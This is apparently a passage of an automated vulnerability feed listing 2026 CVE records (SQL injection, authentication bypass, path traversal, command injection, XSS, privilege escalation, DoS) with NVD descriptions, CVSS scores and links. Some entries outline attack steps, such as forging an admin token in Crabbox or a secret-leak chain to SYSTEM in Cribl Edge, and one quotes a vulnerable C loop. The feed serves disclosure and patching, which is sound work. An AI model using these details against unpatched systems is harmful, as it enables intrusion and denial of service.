Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL Injection.This issue affects APIExperts Square for WooCommerce: from n/a through <= 4.7.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 BEAR woo-bulk-editor allows Blind SQL Injection.This issue affects...
https://kevwire.com/record/CVE-2026-45213
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 BEAR woo-bulk-editor allows Blind SQL Injection.This issue affects... (May 12, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 BEAR woo-bulk-editor allows Blind SQL Injection.This issue affects BEAR: from n/a through <= 1.1.7.1.
CVSS 7.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45213).
Sources:
NVD CVE-2026-45213: https://nvd.nist.gov/vuln/detail/CVE-2026-45213
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in RealMag777 BEAR woo-bulk-editor allows Blind SQL Injection.This issue affects BEAR: from n/a through <= 1.1.7.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads...
https://kevwire.com/record/CVE-2026-45223
Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads... (May 11, 2026).
Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads containing an admin claim, allowing attackers to escalate privileges. An attacker with access to the shared non-admin token can craft a user-token payload with admin: true, sign it using HMAC-SHA256, and present it to admin-only coordinator routes to gain full coordinator admin access including lease visibility, pool state management, and forced release operations.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45223).
Sources:
NVD CVE-2026-45223: https://nvd.nist.gov/vuln/detail/CVE-2026-45223
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads containing an admin claim, allowing attackers to escalate privileges. An attacker with access to the shared non-admin token can craft a user-token payload with admin: true, sign it using HMAC-SHA256, and present it to admin-only coordinator routes to gain full coordinator admin access including lease visibility, pool state management, and forced release operations.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crabbox before 0.9.0 contains a path traversal vulnerability in the Islo provider's workspace path resolution that allows attackers to supply absolute or relative paths that...
https://kevwire.com/record/CVE-2026-45224
Crabbox before 0.9.0 contains a path traversal vulnerability in the Islo provider's workspace path resolution that allows attackers to supply absolute or relative paths that... (May 11, 2026).
Crabbox before 0.9.0 contains a path traversal vulnerability in the Islo provider's workspace path resolution that allows attackers to supply absolute or relative paths that resolve outside the intended /workspace directory. Attackers can craft a malicious .crabbox.yaml or crabbox.yaml file with traversal sequences to cause arbitrary file deletion and overwrite when sync.delete is enabled, as the workspace preparation logic executes rm -rf and mkdir -p operations on the resolved path without proper validation.
CVSS 6.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45224).
Sources:
NVD CVE-2026-45224: https://nvd.nist.gov/vuln/detail/CVE-2026-45224
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Crabbox before 0.9.0 contains a path traversal vulnerability in the Islo provider's workspace path resolution that allows attackers to supply absolute or relative paths that resolve outside the intended /workspace directory. Attackers can craft a malicious .crabbox.yaml or crabbox.yaml file with traversal sequences to cause arbitrary file deletion and overwrite when sync.delete is enabled, as the workspace preparation logic executes rm -rf and mkdir -p operations on the resolved path without proper validation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A command injection vulnerability in Cribl Edge for Linux versions 3.2.0 through 4.17.0 allows a local unprivileged user to execute arbitrary commands in the context of the Cribl...
https://kevwire.com/record/CVE-2026-45391
A command injection vulnerability in Cribl Edge for Linux versions 3.2.0 through 4.17.0 allows a local unprivileged user to execute arbitrary commands in the context of the Cribl... (May 12, 2026).
A command injection vulnerability in Cribl Edge for Linux versions 3.2.0 through 4.17.0 allows a local unprivileged user to execute arbitrary commands in the context of the Cribl Edge service account.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45391).
Sources:
NVD CVE-2026-45391: https://nvd.nist.gov/vuln/detail/CVE-2026-45391
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A command injection vulnerability in Cribl Edge for Linux versions 3.2.0 through 4.17.0 allows a local unprivileged user to execute arbitrary commands in the context of the Cribl Edge service account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DOM-based cross-site scripting (XSS) in Cribl Stream before 4.17.1 allows a remote attacker to execute arbitrary JavaScript in the browser of an authenticated user who is tricked...
https://kevwire.com/record/CVE-2026-45392
DOM-based cross-site scripting (XSS) in Cribl Stream before 4.17.1 allows a remote attacker to execute arbitrary JavaScript in the browser of an authenticated user who is tricked... (May 12, 2026).
DOM-based cross-site scripting (XSS) in Cribl Stream before 4.17.1 allows a remote attacker to execute arbitrary JavaScript in the browser of an authenticated user who is tricked into visiting a crafted URL and interacting with the page.
CVSS 8.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45392).
Sources:
NVD CVE-2026-45392: https://nvd.nist.gov/vuln/detail/CVE-2026-45392
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
DOM-based cross-site scripting (XSS) in Cribl Stream before 4.17.1 allows a remote attacker to execute arbitrary JavaScript in the browser of an authenticated user who is tricked into visiting a crafted URL and interacting with the page.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability chain in Cribl Edge for Windows before 4.17.1 allows a local authenticated user to escalate privileges to NT AUTHORITY\SYSTEM.
https://kevwire.com/record/CVE-2026-45393
A vulnerability chain in Cribl Edge for Windows before 4.17.1 allows a local authenticated user to escalate privileges to NT AUTHORITY\SYSTEM. (May 12, 2026).
A vulnerability chain in Cribl Edge for Windows before 4.17.1 allows a local authenticated user to escalate privileges to NT AUTHORITY\SYSTEM. Incorrect default permissions on the Windows installer's authentication directory (CWE-276) expose a cryptographic secret used for JWT signing and password-hash derivation, enabling forgery of administrative API tokens. The forged token can then be used to invoke a pipeline function that reaches an OS command sink (CWE-78) running in the SYSTEM context.
CVSS 8.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45393).
Sources:
NVD CVE-2026-45393: https://nvd.nist.gov/vuln/detail/CVE-2026-45393
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A vulnerability chain in Cribl Edge for Windows before 4.17.1 allows a local authenticated user to escalate privileges to NT AUTHORITY\SYSTEM. Incorrect default permissions on the Windows installer's authentication directory (CWE-276) expose a cryptographic secret used for JWT signing and password-hash derivation, enabling forgery of administrative API tokens. The forged token can then be used to invoke a pipeline function that reaches an OS command sink (CWE-78) running in the SYSTEM context.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks.
https://kevwire.com/record/CVE-2026-45430
The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks. (May 12, 2026).
The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45430).
Sources:
NVD CVE-2026-45430: https://nvd.nist.gov/vuln/detail/CVE-2026-45430
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters...
https://kevwire.com/record/CVE-2026-4802
A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters... (May 11, 2026).
A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters within crafted links in the system logs user interface (UI). An attacker can inject shell metacharacters and command substitutions into these parameters, leading to the execution of arbitrary shell commands on the affected system. This could result in a complete system compromise.
CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-4802).
Sources:
NVD CVE-2026-4802: https://nvd.nist.gov/vuln/detail/CVE-2026-4802
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting unsanitized user-controlled parameters within crafted links in the system logs user interface (UI). An attacker can inject shell metacharacters and command substitutions into these parameters, leading to the execution of arbitrary shell commands on the affected system. This could result in a complete system compromise.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections.
https://kevwire.com/record/CVE-2026-4827
CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections. (May 12, 2026).
CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-4827).
Sources:
NVD CVE-2026-4827: https://nvd.nist.gov/vuln/detail/CVE-2026-4827
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
CWE‑331: Insufficient Entropy vulnerability exists that could lead to unauthorized access when an attacker on the network can exploit weaknesses in session‑management protections.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### YAML::Syck versions before 1.38 for Perl  has an out-of-bounds read.
https://kevwire.com/record/CVE-2026-5089
YAML::Syck versions before 1.38 for Perl  has an out-of-bounds read. (May 12, 2026).
YAML::Syck versions before 1.38 for Perl  has an out-of-bounds read.

The base60 (sexagesimal) parsing code in perl_syck.h has a buffer underflow bug in both int#base60 and float#base60 handlers. When processing the leftmost segment of a colon-separated value (e.g., the 1 in 1:30:45), the inner while loop can decrement a pointer past the start of the string buffer:

    while ( colon >= ptr && *colon != ':' )
    {
        colon--;
    }
    if ( *colon == ':' ) *colon = '\0';  // colon may be ptr-1 here

When no colon is found (final/leftmost segment), colon becomes ptr-1, and the subsequent *colon dereference reads one byte before the allocated buffer.
CVSS 7.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-5089).
Sources:
NVD CVE-2026-5089: https://nvd.nist.gov/vuln/detail/CVE-2026-5089
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
YAML::Syck versions before 1.38 for Perl  has an out-of-bounds read.

The base60 (sexagesimal) parsing code in perl_syck.h has a buffer underflow bug in both int#base60 and float#base60 handlers. When processing the leftmost segment of a colon-separated value (e.g., the 1 in 1:30:45), the inner while loop can decrement a pointer past the start of the string buffer:

    while ( colon >= ptr && *colon != ':' )
    {
        colon--;
    }
    if ( *colon == ':' ) *colon = '\0';  // colon may be ptr-1 here

When no colon is found (final/leftmost segment), colon becomes ptr-1, and the subsequent *colon dereference reads one byte before the allocated buffer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd.
https://kevwire.com/record/CVE-2026-6001
Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. (May 12, 2026).
Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPSİS allows Exploitation of Trusted Identifiers.

This issue affects BAPSİS: before v.202604152042.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6001).
Sources:
NVD CVE-2026-6001: https://nvd.nist.gov/vuln/detail/CVE-2026-6001
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPSİS allows Exploitation of Trusted Identifiers.

This issue affects BAPSİS: before v.202604152042.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Crypt::PasswdMD5 versions through 1.42 for Perl generates insecure random values for salts.
https://kevwire.com/record/CVE-2026-6659
Crypt::PasswdMD5 versions through 1.42 for Perl generates insecure random values for salts. (May 8, 2026).
Crypt::PasswdMD5 versions through 1.42 for Perl generates insecure random values for salts.

The built-in rand function is predictable, and unsuitable for cryptography.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6659).
Sources:
NVD CVE-2026-6659: https://nvd.nist.gov/vuln/detail/CVE-2026-6659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Crypt::PasswdMD5 versions through 1.42 for Perl generates insecure random values for salts.

The built-in rand function is predictable, and unsuitable for cryptography.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied...
https://kevwire.com/record/CVE-2026-6865
CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied... (May 12, 2026).
CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied input is improperly handled during server-side file path processing.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6865).
Sources:
NVD CVE-2026-6865: https://nvd.nist.gov/vuln/detail/CVE-2026-6865
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
CWE-22: Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”) vulnerability that could cause unauthorized access to sensitive files when user-supplied input is improperly handled during server-side file path processing.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to...
https://kevwire.com/record/CVE-2026-6866
CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to... (May 12, 2026).
CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to initial settings in rare circumstances, enabling unauthorized authentication using known credentials.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6866).
Sources:
NVD CVE-2026-6866: https://nvd.nist.gov/vuln/detail/CVE-2026-6866
Vendor advisory (via NVD references): https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-132-04&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2026-132-04.pdf
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
CWE-1188 Initialization of a Resource with an Insecure Default vulnerability exists that could cause unauthorized disclosure of sensitive information when credentials revert to initial settings in rare circumstances, enabling unauthorized authentication using known credentials.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to
execute arbitrary commands via a specific interface,
potentially enabling...
https://kevwire.com/record/CVE-2026-6888
Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to
execute arbitrary commands via a specific interface,
potentially enabling... (May 13, 2026).
Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to
execute arbitrary commands via a specific interface,
potentially enabling the attacker to access, modify, or delete sensitive
information within the database.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-6888).
Sources:
NVD CVE-2026-6888: https://nvd.nist.gov/vuln/detail/CVE-2026-6888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to
execute arbitrary commands via a specific interface,
potentially enabling the attacker to access, modify, or delete sensitive
information within the database.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### `xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash...
https://kevwire.com/record/CVE-2026-7210
`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash... (May 11, 2026).
`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\r\n\r\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.
CVSS 6.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7210).
Sources:
NVD CVE-2026-7210: https://nvd.nist.gov/vuln/detail/CVE-2026-7210
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\r\n\r\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the...
https://kevwire.com/record/CVE-2026-7256
** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the... (May 12, 2026).
** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to execute operating system (OS) commands on a vulnerable device by sending a crafted HTTP request.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7256).
Sources:
NVD CVE-2026-7256: https://nvd.nist.gov/vuln/detail/CVE-2026-7256
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
** UNSUPPORTED WHEN ASSIGNED ** A command injection vulnerability in the CGI program of Zyxel WRE6505 v2 firmware version V1.00(ABDV.3)C0 could allow an adjacent attacker on the LAN to execute operating system (OS) commands on a vulnerable device by sending a crafted HTTP request.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs”...
https://kevwire.com/record/CVE-2026-7287
** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs”... (May 12, 2026).
** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs” binary in Zyxel NWA1100-N customized firmware version 1.00(AACE.1)C0 could allow an attacker to trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to a vulnerable device.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7287).
Sources:
NVD CVE-2026-7287: https://nvd.nist.gov/vuln/detail/CVE-2026-7287
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
** UNSUPPORTED WHEN ASSIGNED ** A buffer overflow vulnerability in the formWep(), formWlAc(), formPasswordSetup(), formUpgradeCert(), and formDelcert() functions of the “webs” binary in Zyxel NWA1100-N customized firmware version 1.00(AACE.1)C0 could allow an attacker to trigger a denial-of-service (DoS) condition by sending a crafted HTTP request to a vulnerable device.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could...
https://kevwire.com/record/CVE-2026-7428
Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could... (May 12, 2026).
Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could have been exploited by a remote attacker to gain full administrative access to the database.




Exploitation required network access to the AlloyDB cluster and was limited to Terraform or the REST API, as other clients blocked it.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7428).
Sources:
NVD CVE-2026-7428: https://nvd.nist.gov/vuln/detail/CVE-2026-7428
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Prior to 2025-11-03, well-intended users of Terraform or REST API for Google Cloud AlloyDB for PostgreSQL could have created clusters with an insecure default password which could have been exploited by a remote attacker to gain full administrative access to the database.




Exploitation required network access to the AlloyDB cluster and was limited to Terraform or the REST API, as other clients blocked it.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.
https://kevwire.com/record/CVE-2026-7790
Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation. (May 11, 2026).
Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.

The chunked transfer-encoding parser in cow_http_te accepts an unbounded number of hex digits in the chunk-size field. Each digit causes a bignum multiplication (Len * 16 + digit), so parsing N hex digits requires O(N²) CPU work and O(N) memory. Additionally, when input is drip-fed, the parser discards the accumulated length on each partial read and restarts from zero on resumption, raising the cost to O(N³). An unauthenticated remote attacker can exploit this by sending an HTTP/1.1 request with Transfer-Encoding: chunked and a very long chunk-size hex string to cause denial of service through CPU exhaustion and memory amplification.

This vulnerability is associated with program file src/cow_http_te.erl and program routines cow_http_te:stream_chunked/2, cow_http_te:chunked_len/4.

This issue affects cowlib: from 0.6.0 before 2.16.1.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7790).
Sources:
NVD CVE-2026-7790: https://nvd.nist.gov/vuln/detail/CVE-2026-7790
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.

The chunked transfer-encoding parser in cow_http_te accepts an unbounded number of hex digits in the chunk-size field. Each digit causes a bignum multiplication (Len * 16 + digit), so parsing N hex digits requires O(N²) CPU work and O(N) memory. Additionally, when input is drip-fed, the parser discards the accumulated length on each partial read and restarts from zero on resumption, raising the cost to O(N³). An unauthenticated remote attacker can exploit this by sending an HTTP/1.1 request with Transfer-Encoding: chunked and a very long chunk-size hex string to cause denial of service through CPU exhaustion and memory amplification.

This vulnerability is associated with program file src/cow_http_te.erl and program routines cow_http_te:stream_chunked/2, cow_http_te:chunked_len/4.

This issue affects cowlib: from 0.6.0 before 2.16.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SmarterTools SmarterMail builds prior to 9560 contain a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint that allows authenticated users to...
https://kevwire.com/record/CVE-2026-7807
SmarterTools SmarterMail builds prior to 9560 contain a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint that allows authenticated users to... (May 8, 2026).
SmarterTools SmarterMail builds prior to 9560 contain a local file inclusion vulnerability in the /api/v1/report/summary/{type} API endpoint that allows authenticated users to read arbitrary .json files on the system. Attackers can exploit this vulnerability combined with weak encryption algorithms and hardcoded keys to decrypt and access stored passwords and 2FA secrets for all users.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-7807).
Sources:
